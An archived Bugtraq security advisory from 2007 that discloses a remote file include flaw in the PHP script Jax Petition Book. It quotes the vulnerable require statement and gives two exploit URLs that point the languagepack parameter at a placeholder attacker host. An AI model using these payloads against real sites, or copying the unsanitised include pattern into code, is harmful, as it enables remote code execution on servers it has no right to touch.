Bugtraq mailing list archives

Jax Petition Book (languagepack) Remote File Include Vulnerabilities

From: ilkerkandemir () mynet com
Date: 14 Jan 2007 18:30:49 -0000

------------------------------------------------------------------------------------------------------------------

AYYILDIZ.ORG PreSents...


*Script: Jax Petition Book
*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip

*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

-------------------------------------------------------------------------------------------------------------------

*Code:

require ( "language/" .$languagepack . ".inc.php" );

-------------------------------------------------------------------------------------------------------------------

*Exploit: 

jax_petitionbook.php?languagepack=http://attacker.txt?
smileys.php?languagepack=http://attacker.txt?

-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dumnci
Special Tnx: AYYILDIZ.ORG

Current thread:

Jax Petition Book (languagepack) Remote File Include Vulnerabilities ilkerkandemir (Jan 15)
- Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities bmatheny (Jan 15)
  - Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities John McGuire (Jan 16)